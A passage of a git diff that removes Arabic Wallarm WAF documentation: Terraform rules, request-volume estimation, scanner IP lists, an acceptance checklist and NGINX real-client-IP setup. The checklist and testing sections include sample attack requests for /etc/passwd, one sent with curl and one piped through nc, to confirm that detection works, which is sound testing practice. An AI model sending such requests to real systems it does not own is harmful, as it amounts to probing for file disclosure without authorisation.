"https://us1.api.wallarm.com" -} - -resource "wallarm_global_mode" "global_block" { - waf_mode = "default" -} - -resource "wallarm_application" "tf_app" { - name = "Terraform Application 001" - app_id = 42 -} - -resource "wallarm_rule_mode" "tiredful_api_mode" { - mode = "monitoring" - - action { - point = { - instance = 42 - } - } - - action { - type = "regex" - point = { - scheme = "https" - } - } -} -``` - -احفظ ملف التكوين، ثم قم بتنفيذ `terraform apply`. - -التكوين يقوم بالتالي: - -* الاتصال بالسحابة الأمريكية → حساب الشركة بالرمز المميز لـ API الخاص بـ Wallarm. -* `resource "wallarm_global_mode" "global_block"` → يضبط وضع الترشيح العالمي على `الإعدادات المحلية (الافتراضي)` مما يعني أن وضع الترشيح يتم التحكم فيه محليًا على كل عقدة. -* `resource "wallarm_application" "tf_app"` → ينشئ تطبيقًا باسم `Terraform Application 001` بالمعرف `42`. -* `resource "wallarm_rule_mode" "tiredful_api_mode"` → ينشئ قاعدة تضبط وضع ترشيح حركة المرور إلى `المراقبة` لجميع الطلبات المرسلة عبر بروتوكول HTTPS إلى التطبيق بالمعرف `42`. - -## مزيد من المعلومات حول Wallarm وTerraform - -Terraform يدعم عددًا من التكاملات (**[المزودين](https://www.terraform.io/language/providers)**) والتكوينات الجاهزة للاستخدام (**[وحدات](https://www.terraform.io/language/modules)**) المتاحة للمستخدمين عبر ال[سجل](https://www.terraform.io/registry#navigating-the-registry) العام، معبأ بواسطة عدد من البائعين. - -لهذا السجل، نشرت Wallarm: - -* [مزود Wallarm](https://registry.terraform.io/providers/wallarm/wallarm/latest/docs) لإدارة Wallarm عبر Terraform. يُوصف في المقال الحالي. -* [وحدة Wallarm](../../installation/cloud-platforms/aws/terraform-module/overview.md) لنشر العقدة إلى AWS من بيئة متوافقة مع Terraform. - -هذان أداتان مستقلتان تُستخدمان لأغراض مختلفة. ليس من الضروري استخدام أحدهما للآخر. \ No newline at end of file diff --git a/docs/latest-ar/admin-en/nginx-node-metrics.md b/docs/latest-ar/admin-en/nginx-node-metrics.md deleted file mode 100644 index c87b5a9f6b..0000000000 --- a/docs/latest-ar/admin-en/nginx-node-metrics.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest/admin-en/nginx-node-metrics.md" \ No newline at end of file diff --git a/docs/latest-ar/admin-en/operation/learn-incoming-request-number.md b/docs/latest-ar/admin-en/operation/learn-incoming-request-number.md deleted file mode 100644 index 416bedf9f0..0000000000 --- a/docs/latest-ar/admin-en/operation/learn-incoming-request-number.md +++ /dev/null @@ -1,43 +0,0 @@ -# تعلم عدد الطلبات التي يتعامل معها التطبيق شهريًا - -طرق الترخيص/الفوترة الرئيسية لـ Wallarm مبنية على مستوى الطلبات التي تخدمها عقد التصفية Wallarm الموزعة في بيئتك. هذا الوثيقة تشرح كيف يمكن بسهولة تعلم عدد الطلبات التي يتعامل معها التطبيق. - -## الفرق التي لها الوصول إلى المعلومات - -عادةً، قد تتمتع الفرق التالية في شركة بوصول سهل إلى المعلومات: - -* DevOps -* العمليات الفنية -* عمليات السحابة -* عمليات النظام الأساسي -* DevSecOps -* مديرو الأنظمة -* مديرو التطبيقات -* NOC - -## الطرق لتعلم عدد الطلبات - -هناك عدة طرق للبحث عن عدد الطلبات التي يتعامل معها التطبيق: - -* عملاء AWS الذين يستخدمون موازنات الحمولة ELB أو ALB يمكنهم استخدام مقاييس مراقبة AWS لموازنات الحمولة لتقدير مستوى الطلبات اليومية والأسبوعية للتطبيقات التي تُخدم من قبل موازنات الحمولة: - - ![مثال على مراقبة AWS](../../images/operation/aws-requests-example.png) - - على سبيل المثال، إذا أظهر الرسم البياني أن متوسط مستوى الطلبات بالدقيقة هو 350 وافتراض أن هناك، في المتوسط، 730 ساعة في الشهر، فإن عدد الطلبات الشهرية يكون `350 * 60 * 730 = 15,330,000`. - -* مستخدمو GCP لموازنات الحمولة HTTP يمكنهم استخدام المقياس الرقابي **https/request_count**. المقياس غير متاح لموازنات الحمولة الشبكية. -* مستخدمو Microsoft IIS يمكنهم الاعتماد على مقياس **Requests Per Sec** لمتوسط عدد الطلبات بالثانية وحساب عدد الطلبات التي يخدمها خادم IIS واحد في الشهر. في حساب، افترض أن هناك، في المتوسط، `730 * 3,600` ثانية في الشهر. -* مستخدمو خدمات مراقبة أداء التطبيقات مثل New Relic, Datadog, AppDynamics, SignalFX وغيرهم يمكنهم الحصول على المعلومات من ألواح تحكم APM الخاصة بهم (فقط تأكد من الحصول على قيمة مجمعة لجميع الخوادم المشاركة في طبقة الحافة، وليس خادم واحد فقط). -* مستخدمو أنظمة مراقبة البنية التحتية السحابية مثل Datadog, AWS CloudWatch (والعديد غيرهم) أو مستخدمو أنظمة المراقبة الداخلية مثل Prometheus أو Nagios على الأرجح يراقبون بالفعل مستوى الطلبات المخدومة في موقعهم الحافي (موازنات الحمولة، خوادم الويب، خوادم التطبيقات)، ويمكنهم استخدام المعلومات لتقدير متوسط عدد الطلبات المخدومة شهريًا بسهولة. -* نهج آخر هو استخدام سجلات موازنات الحمولة الحافية أو خوادم الويب لعد عدد السجلات في فترة زمنية (المثالي - 24 ساعة) مع الافتراض أن هناك سجل واحد لكل طلب مخدوم. على سبيل المثال، هذا الخادم الويب يقوم بتدوير ملف سجل الوصول NGINX مرة واحدة في اليوم، مع تسجيل 653,525 طلب في ملف السجل: - - ```bash - cd /var/log/nginx/ - zcat access.log.2.gz |wc -l - # 653525 - ``` - - * تقدير الطلبات التي يخدمها الخادم في الشهر هو `653,525 * 30 = 19,605,750`. - * معرفة العدد الإجمالي لخوادم الويب المستخدمة يجعل من الممكن تقدير عدد الطلبات التي يتعامل معها التطبيق بأكمله. - -* بالنسبة للتطبيقات الويب النقية التي تستخدم Google Analytics أو خدمات مماثلة لتتبع ومراقبة تجربة المستخدم، يمكن استخراج المعلومات حول عدد الصفحات وجميع الكائنات المضمنة التي تم خدمتها من الخدمات. \ No newline at end of file diff --git a/docs/latest-ar/admin-en/scanner-addresses.md b/docs/latest-ar/admin-en/scanner-addresses.md deleted file mode 100644 index 7e1b1053bc..0000000000 --- a/docs/latest-ar/admin-en/scanner-addresses.md +++ /dev/null @@ -1,26 +0,0 @@ -[file-ips-list-us]: ../downloads/scanner-ip-addresses-us.txt -[file-ips-list-eu]: ../downloads/scanner-ip-addresses-eu.txt - -# عناوين فاحص Wallarm - -يوفر هذا المستند قوائم عناوين IP الخاصة ب[فاحص Wallarm](../user-guides/scanner.md) للسحب السحابية في الولايات المتحدة وأوروبا. - -يُنصح بإضافة العناوين من القائمة المناسبة إلى **قوائم السماح** في الأنظمة أو الأجهزة التي تستخدمها (بخلاف Wallarm) لتصفية وحجب الحركة تلقائيًا. وذلك سيمنع إمكانية حجب فاحص Wallarm من قبل هذه الأنظمة. - -## السحابة الأمريكية - -قائمة عناوين IP للسحابة الأمريكية (https://us1.my.wallarm.com) التي يستخدمها Wallarm لفحص موارد الشركة بحثًا عن [الثغرات الأمنية](../glossary-en.md#vulnerability) وإعادة تحقق الهجمات والثغرات الأمنية: - ---8<-- "../include/scanner-ip-request-us.md" - -!!! info "احصل على قائمة عناوين IP" - [حمل الملف النصي الذي يحتوي قائمة عناوين IP للماسحات.][file-ips-list-us] - -## السحابة الأوروبية - -قائمة عناوين IP للسحابة الأوروبية (https://my.wallarm.com) التي يستخدمها Wallarm لفحص موارد الشركة بحثًا عن [الثغرات الأمنية](../glossary-en.md#vulnerability) وإعادة تحقق الهجمات والثغرات الأمنية: - ---8<-- "../include/scanner-ip-request.md" - -!!! info "احصل على قائمة عناوين IP" - [حمل الملف النصي الذي يحتوي قائمة عناوين IP للماسحات.][file-ips-list-eu] \ No newline at end of file diff --git a/docs/latest-ar/admin-en/uat-checklist-en.md b/docs/latest-ar/admin-en/uat-checklist-en.md deleted file mode 100644 index a70ad997a0..0000000000 --- a/docs/latest-ar/admin-en/uat-checklist-en.md +++ /dev/null @@ -1,118 +0,0 @@ -# قائمة اختبار قبول مستخدم Wallarm - -توفر لك هذه القسم قائمة للتأكد من أن نسخة Wallarm الخاصة بك تعمل بشكل صحيح. - -| العملية | السلوك المتوقع | الفحص | -|------------------------------------------------------------------------------------------------------------------------------------------------------------------|---------------------|--------| -| [يكشف عقدة Wallarm الهجمات](#wallarm-node-detects-attacks) | يتم كشف الهجمات | | -| [يمكنك الدخول إلى واجهة Wallarm](#you-can-log-into-the-wallarm-interface) | يمكنك تسجيل الدخول | | -| [تظهر واجهة Wallarm طلبات لكل ثانية](#wallarm-interface-shows-requests-per-second) | ترى إحصائيات الطلبات | | -| [تمييز Wallarm للطلبات على أنها زائفة ويتوقف عن حجبها](#wallarm-marks-requests-as-false-and-stops-blocking-them) | لا تقوم Wallarm بحجب الطلبات | | -| [تكشف Wallarm الثغرات الأمنية وتنشئ الحوادث الأمنية](#wallarm-detects-vulnerabilities-and-creates-security-incidents) | يتم إنشاء الحوادث الأمنية | | -| [تكشف Wallarm الحدود](#wallarm-detects-perimeter) | تم اكتشاف النطاق | | -| [تعمل قائمة السماح وقائمة الحظر وقائمة الرمادي](#ip-allowlisting-denylisting-and-graylisting-work) | يتم حظر عناوين IP | | -| [يمكن تكوين المستخدمين ولديهم الصلاحيات المناسبة](#users-can-be-configured-and-have-proper-access-rights) | يمكن إنشاء وتحديث المستخدمين | | -| [سجل نشاط المستخدم لديه سجلات](#user-activity-log-has-records) | يوجد بالسجل سجلات | | -| [تعمل التقارير](#reporting-works) | تتلقى التقارير | | | - - -## تكشف عقدة Wallarm الهجمات - -1. أرسل طلبًا ضارًا إلى موردك: - - ``` - http://<رابط_المورد>/etc/passwd - ``` - -2. قم بتشغيل الأمر التالي للتحقق من زيادة عدد الهجمات: - - ``` - curl http://127.0.0.8/wallarm-status - ``` - -انظر أيضًا [فحص عمل عقدة الفلتر](installation-check-operation-en.md) - -## يمكنك الدخول إلى واجهة Wallarm - -1. انتقل إلى الرابط الذي يطابق السحابة الذي تستخدمه: - * إذا كنت تستخدم السحابة الأمريكية، فانتقل إلى رابط - * إذا كنت تستخدم السحابة الأوروبية، فانتقل إلى رابط -2. تأكد من أنك يمكنك تسجيل الدخول بنجاح. - -انظر أيضًا [نظرة عامة على لوحة الوقاية من التهديدات](../user-guides/dashboards/threat-prevention.md). - -## تظهر واجهة Wallarm طلبات كل ثانية - -1. أرسل طلبًا إلى موردك: - - ``` - curl http://<رابط_المورد> - ``` - - أو أرسل عدة طلبات باستخدام سكربت bash: - - ``` - for (( i=0 ; $i<10 ; i++ )) ; - do - curl http://<رابط_المورد> ; - done - ``` - - هذا المثال لـ10 طلبات. - -2. تحقق من تظهر واجهة Wallarm الطلبات المكتشفة لكل ثانية. - -انظر أيضًا [لوحة الوقاية من التهديدات](../user-guides/dashboards/threat-prevention.md). - -## تمييز Wallarm للطلبات على أنها زائفة وتتوقف عن حجبها - -1. قم بتوسيع هجوم في علامة التبويب *الهجمات*. -2. قم بتحديد ضربة وانقر على *زائف*. -3. انتظر حوالي 3 دقائق. -4. قم بإعادة إرسال الطلب وتأكد من أن Wallarm تكتشفه كهجوم وتحجبه. - -انظر أيضًا [العمل مع الهجمات الزائفة](../user-guides/events/false-attack.md). - -## تكشف Wallarm الثغرات الأمنية وتنشئ الحوادث الأمنية - -1. تأكد من وجود ثغرة أمنية مفتوحة في موردك. -2. أرسل طلبًا ضارًا لاستغلال الثغرة. -3. تحقق من كشف حادث في واجهة Wallarm. - -انظر [فحص الحوادث](../user-guides/events/check-incident.md). - -## تكشف Wallarm الحدود - -1. في علامة التبويب *الماسح الضوئي*, أضف نطاق موردك. -2. تحقق من اكتشاف Wallarm لجميع الموارد المرتبطة بالنطاق المضاف. - -انظر أيضًا [العمل مع الماسح الضوئي](../user-guides/scanner.md). - -## تعمل قائمة السماح وقائمة الحظر والقائمة الرمادية - -1. تعرّف على [المنطق الأساسي لقوائم IP](../user-guides/ip-lists/overview.md). -2. أضف عناوين IP إلى [قائمة السماح](../user-guides/ip-lists/overview.md)، [قائمة الحظر](../user-guides/ip-lists/overview.md)، و[القائمة الرمادية](../user-guides/ip-lists/overview.md). -3. تحقق من أن عقدة الفلتر تعالج الطلبات الصادرة من عناوين IPs المضافة إلى القوائم بشكل صحيح. - -## يمكن تكوين المستخدمين ولديهم الصلاحيات المناسبة - -1. تأكد من أن لديك دور *المدير* في نظام Wallarm. -2. قم بإنشاء، تغيير الدور، تعطيل، وحذف مستخدم كما هو موضح في [تكوين المستخدمين](../user-guides/settings/users.md). - -انظر أيضًا [تكوين المستخدمين](../user-guides/settings/users.md). - -## سجل نشاط المستخدم لديه سجلات - -1. اذهب إلى *الإعدادات* –> *المستخدمين*. -2. تحقق من أن *سجل نشاط المستخدم* يحتوي على سجلات. - -انظر أيضًا [سجل نشاط المستخدم](../user-guides/settings/audit-log.md). - -## تعمل التقارير - -1. في علامة التبويب *الهجمات*, ضع استعلام بحث. -2. انقر على زر التقرير على اليمين. -3. ضع بريدك الإلكتروني وانقر على زر التقرير مرة أخرى. -5. تحقق من استلامك للتقرير. - -انظر أيضًا [إنشاء تقرير مخصص](../user-guides/search-and-filters/custom-report.md). \ No newline at end of file diff --git a/docs/latest-ar/admin-en/using-proxy-or-balancer-en.md b/docs/latest-ar/admin-en/using-proxy-or-balancer-en.md deleted file mode 100644 index 7e5d263126..0000000000 --- a/docs/latest-ar/admin-en/using-proxy-or-balancer-en.md +++ /dev/null @@ -1,260 +0,0 @@ -# تحديد عنوان IP الأصلي للعميل عند استخدام وكيل HTTP أو موزع الحمولة (NGINX) - -تصف هذه التعليمات التجهيزات الضرورية لتهيئة NGINX لتحديد عنوان IP الأصلي لعميل يتصل بخوادمك من خلال وكيل HTTP أو موزع حمولة. - -* إذا تم تثبيت وحدة Wallarm من الحزم DEB / RPM ، AWS / GCP images أو صورة Docker المستندة على NGINX ، يرجى استخدام **التعليمات الحالية** . -* إذا تم نشر الوحدة Wallarm كمراقب الدخول K8s ، يرجى استخدام [هذه التعليمات](configuration-guides/wallarm-ingress-controller/best-practices/report-public-user-ip.md). - -## كيف تحدد الوحدة Wallarm عنوان IP للطلب - -تقرأ الوحدة Wallarm عنوان IP المصدر للطلب من المتغير NGINX `$remote_addr`. إذا مر الطلب عبر خادم الوكيل أو موزع الحمولة قبل إرساله إلى الوحدة ، فيحتفظ المتغير `$remote_addr` بعنوان IP لخادم الوكيل أو موزع الحمولة. - -![استخدام الموزع](../images/admin-guides/using-proxy-or-balancer/using-balancer-en.png) - -يتم عرض عنوان IP الأصلي للطلب الذي تم تحديده بواسطة وحدة Wallarm في [تفاصيل الهجوم](../user-guides/events/check-attack.md#attacks) في لوحة التحكم Wallarm. - -## المشاكل الممكنة عند استخدام عنوان IP لخادم وكيل أو موزع حمولة كعنوان مصدر للطلب - -إذا اعتبرت الوحدة Wallarm أن عنوان IP الخادم الوكيل أو موزع الحمولة هو عنوان IP المصدر للطلب ، فقد تعمل الميزات التالية لـ Wallarm بشكل غير صحيح: - -* [التحكم في الوصول إلى التطبيقات بناءً على عناوين IP](../user-guides/ip-lists/overview.md) ، على سبيل المثال: - - إذا تم رفض الوصول لعناوين IP العملاء الأصلية ، فإن الوحدة Wallarm لن تكتفي بمنع الطلبات المنشأة من هذه العناوين حيث تعتبر أن عنوان IP موزع الحمولة هو عنوان المصدر. -* [حماية من الهجمات القوية](configuration-guides/protecting-against-bruteforce.md) ، على سبيل المثال: - - إذا كانت الطلبات التي تمر عبر موزع الحمولة تحتوي على علامات هجوم قوية ، فسوف تضيف Wallarm هذا العنوان IP إلى قائمة الرفض وبالتالي ستمنع جميع الطلبات اللاحقة التي تعبر عبر هذا الموزع. -* النموذج [Threat Replay Testing](../about-wallarm/detecting-vulnerabilities.md#active-threat-verification) و [Vulnerability Scanner](../about-wallarm/detecting-vulnerabilities.md#vulnerability-scanner) ، على سبيل المثال: - - ستعتبر Wallarm أن عنوان IP الموزع هو [عنوان IP المنشئ للهجمات الاختبار](../admin-en/scanner-addresses.md) التي تم إنشاؤها بواسطة Threat Replay Testing module و Vulnerability Scanner. وبالتالي، سيتم عرض الهجمات الاختبار في لوحة التحكم Wallarm كهجمات نشأت من عنوان IP للموزع وسيتم التحقق منها إضافياً من Wallarm مما سيؤدي إلى إنشاء حمولة إضافية على التطبيق. - -إذا كانت الوحدة Wallarm متصلة عبر [IPC socket](https://en.wikipedia.org/wiki/Unix_domain_socket)، فيعتبر `0.0.0.0` كمصدر للطلب. - -## التهيئة لتحديد عنوان IP العميل الأصلي - -لتكوين تحديد عنوان IP العميل الأصلي، يمكنك استخدام [NGINX module **ngx_http_realip_module**](https://nginx.org/en/docs/http/ngx_http_realip_module.html). يسمح هذا الوحدة بإعادة تعريف قيمة `$remote_addr` [المستخدمة](#how-wallarm-node-identifies-an-ip-address-of-a-request) بواسطة وحدة Wallarm للحصول على عنوان IP العميل. - -يمكنك استخدام وحدة NGINX **ngx_http_realip_module** في أحد الطرق التالية: - -* لقراءة عنوان IP العميل الأصلي من رأس محدد (عادة، [`X-Forwarded-For`](https://en.wikipedia.org/wiki/X-Forwarded-For)) تمت إضافته إلى الطلب بواسطة موزع الحمولة أو خادم الوكيل. -* إذا كان موزع الحمولة أو خادم الوكيل يدعم بروتوكول [PROXY](https://www.haproxy.org/download/1.8/doc/proxy-protocol.txt)، يمكنك قراءة عنوان IP العميل الأصلي من الرأس `PROXY`. - -### تكوين NGINX لقراءة رأس `X-Forwarded-For` (`X-Real-IP` أو مماثل) - -إذا قمت بإضافة موزع الحمولة أو خادم الوكيل الرأس `X-Forwarded-For` (`X-Real-IP` أو ما شابه) الذي يحتوي على عنوان IP العميل الأصلي ، يرجى تهيئة الوحدة NGINX **ngx_http_realip_module** لقراءة هذا الرأس على النحو التالي: - -1. افتح الملف التالي لإعدادات NGINX المثبتة مع الوحدة Wallarm: - - * `/etc/nginx/conf.d/default.conf` إذا تم تثبيت الوحدة Wallarm من الحزم DEB / RPM أو كمثبت كل في واحد. - * `/etc/nginx/nginx.conf` إذا تم نشر الوحدة Wallarm من صورة AWS / GCP. - * إذا تم نشر الوحدة Wallarm من صورة Docker المستندة على NGINX، فيجب أن تقوم بإنشاء وتعديل ملف التهيئة NGINX محليا وتركيبه على الحاوية Docker على المسار `/etc/nginx/sites-enabled/default`. يمكنك نسخ ملف التهيئة الأولي NGINX والحصول على التعليمات على تركيب الملف على الحاوية من [تعليمات Docker المستندة على Wallarm NGINX](installation-docker-en.md#run-the-container-mounting-the-configuration-file). -2. في سياق `location` في NGINX أو أعلى ، أضف التوجيه `set_real_ip_from` مع عنوان IP لخادم الوكيل أو موزع الحمولة. إذا كان للوكيل أو موزع الحمولة عدة عناوين IP ، يرجى إضافة عدد منفصل من التوجيهات المناسبة. على سبيل المثال: - - ```bash - ... - location / { - wallarm_mode block; - - set_real_ip_from 1.2.3.4; - set_real_ip_from 192.0.2.0/24; - } - ... - ``` -2. في وثائق التعليمات المرفقة مع موزع الحمولة المستخدم ، ابحث عن اسم الرأس المضاف بواسطة موزع الحمولة هذا لتمرير عنوان IP العميل الأصلي. في الغالب ، يسمى الرأس `X-Forwarded-For`. -3. في سياق `location` في NGINX أو أعلى ، أضف التوجيه `real_ip_header` مع اسم الرأس الذي تم العثور عليه في الخطوة السابقة. على سبيل المثال: - - ```bash - ... - location / { - wallarm_mode block; - - set_real_ip_from 1.2.3.4; - set_real_ip_from 192.0.2.0/24; - real_ip_header X-Forwarded-For; - } - ... - ``` -4. أعد تشغيل NGINX: - - --8<-- "../include/waf/restart-nginx-4.4-and-above.md" - - سيقوم NGINX بتعيين قيمة الرأس المحددة في التوجيه `real_ip_header` إلى المتغير `$remote_addr` ، لذا ستقرأ الوحدة Wallarm عناوين IP العملاء الأصلية من هذا المتغير. -5. [اختبر التهيئة](#testing-the-configuration). - -### تكوين NGINX لقراءة الرأس `PROXY` - -إذا كان موزع الحمولة أو خادم الوكيل يدعم بروتوكول [PROXY](https://www.haproxy.org/download/1.8/doc/proxy-protocol.txt)، يمكنك تكوين الوحدة NGINX **ngx_http_realip_module** لقراءة الرأس `PROXY` على النحو التالي: - -1. افتح الملف التالي لإعدادات NGINX المثبتة مع الوحدة Wallarm: - - * `/etc/nginx/conf.d/default.conf` إذا تم تثبيت الوحدة Wallarm من الحزم DEB / RPM أو كمثبت كل في واحد. - * `/etc/nginx/nginx.conf` إذا تم نشر الوحدة Wallarm من صورة AWS / GCP. - * إذا تم نشر الوحدة Wallarm من صورة Docker المستندة على NGINX، فيجب أن تقوم بإنشاء وتعديل ملف التهيئة NGINX محليا وتركيبه على الحاوية Docker على المسار `/etc/nginx/sites-enabled/default`. يمكنك نسخ ملف التهيئة الأولي NGINX والحصول على التعليمات على تركيب الملف على الحاوية من [تعليمات Docker المستندة على Wallarm NGINX](installation-docker-en.md#run-the-container-mounting-the-configuration-file). -2. في سياق `server` بـ NGINX ، أضف البارامتر `proxy_protocol` إلى التوجيه `listen`. -3. في سياق `location` في NGINX أو أعلى ، أضف التوجيه `set_real_ip_from` مع عنوان IP لخادم الوكيل أو موزع الحمولة. إذا كان للوكيل أو موزع الحمولة عدة عناوين IP ، الرجاء إضافة عدد منفصل من التوجيهات المناسبة. -4. في سياق `location` في NGINX أو أعلى ، أضف التوجيه `real_ip_header` بقيمة `proxy_protocol`. - مثال على ملف تكوين NGINX مع جميع التوجيهات التي تمت إضافتها: - - ```bash - server { - listen 80 proxy_protocol; - server_name localhost; - - set_real_ip_from ; - real_ip_header proxy_protocol; - - ... - } - ``` - - * يستمع NGINX للاتصالات الواردة على المنفذ 80. - * إذا لم يتم تمرير الرأس `PROXY` في الطلب الوارد ، لا يقبل NGINX هذا الطلب لأنه يعتبر غير صالح. - * بالنسبة للطلبات التي تم إنشاؤها من العنوان ``، سيقوم NGINX بتعيين العنوان المصدر الذي تم تمريره في الرأس `PROXY` إلى المتغير `$remote_addr` ، لذا ستقرأ الوحدة Wallarm عناوين IP العملاء الأصلية من هذا المتغير. -5. أعد تشغيل NGINX: - - --8<-- "../include/waf/restart-nginx-4.4-and-above.md" -6. [اختبر التهيئة](#testing-the-configuration). - -لإضافة عنوان IP العميل الأصلي في السجلات، يجب عليك إضافة التوجيه `proxy_set_header` وتعديل قائمة المتغيرات في التوجيه `log_format` في تهيئة NGINX كما هو موضح في [تعليمات تسجيل NGINX](https://docs.nginx.com/nginx/admin-guide/load-balancer/using-proxy-protocol/#logging-the-original-ip-address). - -المزيد من التفاصيل حول تحديد عنوان IP العميل الأصلي بناءً على الرأس `PROXY` متاحة في [وثائق NGINX](https://docs.nginx.com/nginx/admin-guide/load-balancer/using-proxy-protocol/#changing-the-load-balancers-ip-address-to-the-client-ip-address). - -### اختبار التهيئة - -1. أرسل الهجوم التجريبي إلى عنوان التطبيق المحمي: - - === "Using cURL" - ```bash - curl http://localhost/etc/passwd - ``` - === "Using printf and Netcat (for the header `PROXY`)" - ```bash - printf "PROXY TCP4 0 80\r\nGET /etc/passwd\r\n\r\n" | nc localhost 80 - ``` -2. افتح لوحة التحكم Wallarm وتأكد من أن عنوان IP العميل الأصلي يظهر في تفاصيل الهجوم: - - ![عنوان IP منشئ الطلب](../images/request-ip-address.png) - - إذا قرأ NGINX العنوان الأصلي من الرأس `X-Forwarded-For` (`X-Real-IP` أو ما شابه) ، سيتم أيضاً عرض قيمة الرأس في الهجوم الأصلي. - - ![رأس X-Forwarded-For](../images/x-forwarded-for-header.png) - -## أمثلة على التهيئة - -أدناه ستجد أمثلة التكوين الضروري لـ NGINX لتحديد عنوان IP العميل الأصلي الذي يتصل بخوادمك عبر شبكات موزعو الحمولة الشائعة. - -### Cloudflare CDN - -عند استخدام Cloudflare CDN، يمكنك [تكوين وحدة NGINX **ngx_http_realip_module**](#configuring-nginx-to-read-the-header-x-forwarded-for-x-real-ip-or-a-similar) لتحديد عناوين IP العملاء الأصلية. - -```bash -... -set_real_ip_from 103.21.244.0/22; -set_real_ip_from 103.22.200.0/22; -set_real_ip_from 103.31.4.0/22; -set_real_ip_from 104.16.0.0/12; -set_real_ip_from 108.162.192.0/18; -set_real_ip_from 131.0.72.0/22; -set_real_ip_from 141.101.64.0/18; -set_real_ip_from 162.158.0.0/15; -set_real_ip_from 172.64.0.0/13; -set_real_ip_from 173.245.48.0/20; -set_real_ip_from 188.114.96.0/20; -set_real_ip_from 190.93.240.0/20; -set_real_ip_from 197.234.240.0/22; -set_real_ip_from 198.41.128.0/17; -set_real_ip_from 2400:cb00::/32; -set_real_ip_from 2606:4700::/32; -set_real_ip_from 2803:f800::/32; -set_real_ip_from 2405:b500::/32; -set_real_ip_from 2405:8100::/32; -set_real_ip_from 2c0f:f248::/32; -set_real_ip_from 2a06:98c0::/29; - -real_ip_header CF-Connecting-IP; -#real_ip_header X-Forwarded-For; -real_ip_recursive on; -... -``` - -* قبل حفظ التهيئة ، يرجى التأكد من أن عناوين IP لـ Cloudflare المحددة في التهيئة أعلاه تطابق تلك الموجودة في [وثائق Cloudflare](https://www.cloudflare.com/ips/). -* يمكنك تحديد `CF-Connecting-IP` أو `X-Forwarded-For` كقيمة لتوجيه `real_ip_header`. يقوم Cloudflare CDN بإرفاق كلا الرأسين ويمكنك تكوين NGINX لقراءة أي منهما. [المزيد من التفاصيل في Cloudflare CDN](https://support.cloudflare.com/hc/en-us/articles/200170786-Restoring-original-visitor-IPs) - -### Fastly CDN - -اذا تم استخدام Fastly CDN، يمكنك [تكوين وحدة NGINX **ngx_http_realip_module**](#configuring-nginx-to-read-the-header-x-forwarded-for-x-real-ip-or-a-similar) لتحديد عناوين IP العملاء الأصلية. - -```bash -... -set_real_ip_from 23.235.32.0/20; -set_real_ip_from 43.249.72.0/22; -set_real_ip_from 103.244.50.0/24; -set_real_ip_from 103.245.222.0/23; -set_real_ip_from 103.245.224.0/24; -set_real_ip_from 104.156.80.0/20; -set_real_ip_from 146.75.0.0/16; -set_real_ip_from 151.101.0.0/16; -set_real_ip_from 157.52.64.0/18; -set_real_ip_from 167.82.0.0/17; -set_real_ip_from 167.82.128.0/20; -set_real_ip_from 167.82.160.0/20; -set_real_ip_from 167.82.224.0/20; -set_real_ip_from 172.111.64.0/18; -set_real_ip_from 185.31.16.0/22; -set_real_ip_from 199.27.72.0/21; -set_real_ip_from 199.232.0.0/16; -set_real_ip_from 2a04:4e40::/32; -set_real_ip_from 2a04:4e42::/32; - -real_ip_header X-Forwarded-For; -real_ip_recursive on; -... -``` - -قبل حفظ التهيئة ، يرجى التأكد من أن عناوين IP لـ Fastly المحددة في التهيئة أعلاه تطابق تلك الموجودة في [وثائق Fastly](https://api.fastly.com/public-ip-list). - -### HAProxy - -عند استخدام HAProxy، يجب تكوين كلا من جوانب HAProxy والوحدة Wallarm بشكل صحيح لتحديد عناوين IP العملاء الأصلية : - -* في ملف التهيئة `/etc/haproxy/haproxy.cfg`، أدخل السطر `option forwardfor header X-Client-IP` بناءً على حديدة `backend` المسئولة عن ربط HAProxy بالوحدة Wallarm. - - يخبر توجيه `option forwardfor` الخادم HAProxy بأن الرأس يجب أن يتم إضافته مع عنوان IP العميل الى الطلب. [المزيد من التفاصيل في وثائق HAProxy](https://cbonte.github.io/haproxy-dconv/1.9/configuration.html#option%20forwardfor) - - مثال تكوين: - - ``` - ... - # عنوان IP العام لاستقبال الطلبات - frontend my_frontend - bind - mode http - default_backend my_backend - - # الخلفية مع وحدة Wallarm - backend my_backend - mode http - option forwardfor header X-Client-IP - server wallarm-node - ... - ``` - - * `` هو عنوان IP لخادم HAProxy لاستقبال طلبات العملاء. - * `` هو عنوان IP للوحدة Wallarm لاستقبال الطلبات من خادم HAProxy. - -* في ملف التهيئة لـ NGINX المثبتة مع الوحدة Wallarm ، قم بتكوين [وحدة **ngx_http_realip_module**](#configuring-nginx-to-read-the-header-x-forwarded-for-x-real-ip-or-a-similar) على النحو التالي: - - ```bash - ... - location / { - wallarm_mode block; - - proxy_pass http://; - set_real_ip_from ; - set_real_ip_from ; - real_ip_header X-Client-IP; - } - ... - ``` - - * `` هو عنوان IP للتطبيق المحمي للطلبات من الوحدة Wallarm. - * `` و `` هي عناوين IP لموزعو الحمولة HAProxy الذين يمرون الطلبات إلى الوحدة Wallarm. \ No newline at end of file diff --git a/docs/latest-ar/admin-en/wstore-metrics.md b/docs/latest-ar/admin-en/wstore-metrics.md deleted file mode 100644 index d699ae7a86..0000000000 --- a/docs/latest-ar/admin-en/wstore-metrics.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest/admin-en/wstore-metrics.md" diff --git a/docs/latest-ar/agentic-ai/agentic-ai-protection.md b/docs/latest-ar/agentic-ai/agentic-ai-protection.md deleted file mode 100644 index cf6883c867..0000000000 --- a/docs/latest-ar/agentic-ai/agentic-ai-protection.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest/agentic-ai/agentic-ai-protection.md" \ No newline at end of file diff --git a/docs/latest-ar/agentic-ai/ai-payload-inspection.md b/docs/latest-ar/agentic-ai/ai-payload-inspection.md deleted file mode 100644 index bb45ee8a34..0000000000 --- a/docs/latest-ar/agentic-ai/ai-payload-inspection.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest/agentic-ai/ai-payload-inspection.md" \ No newline at end of file diff --git a/docs/latest-ar/api-abuse-prevention/exploring-bots.md b/docs/latest-ar/api-abuse-prevention/exploring-bots.md deleted file mode 100644 index 98702b9def..0000000000 --- a/docs/latest-ar/api-abuse-prevention/exploring-bots.md +++ /dev/null @@ -1,48 +0,0 @@ -# استكشاف البوتات المكتشفة - -تصف هذه المقالة كيفية عرض معلومات حول البوتات الضارة التي اكتشفها وحدة [الوقاية من إساءة استخدام واجهة برمجة التطبيقات](../api-abuse-prevention/overview.md) والهجمات التي قامت بها هذه البوتات. - -## البوتات المحظورة في قوائم الآي بي - -تقوم وحدة **الوقاية من إساءة 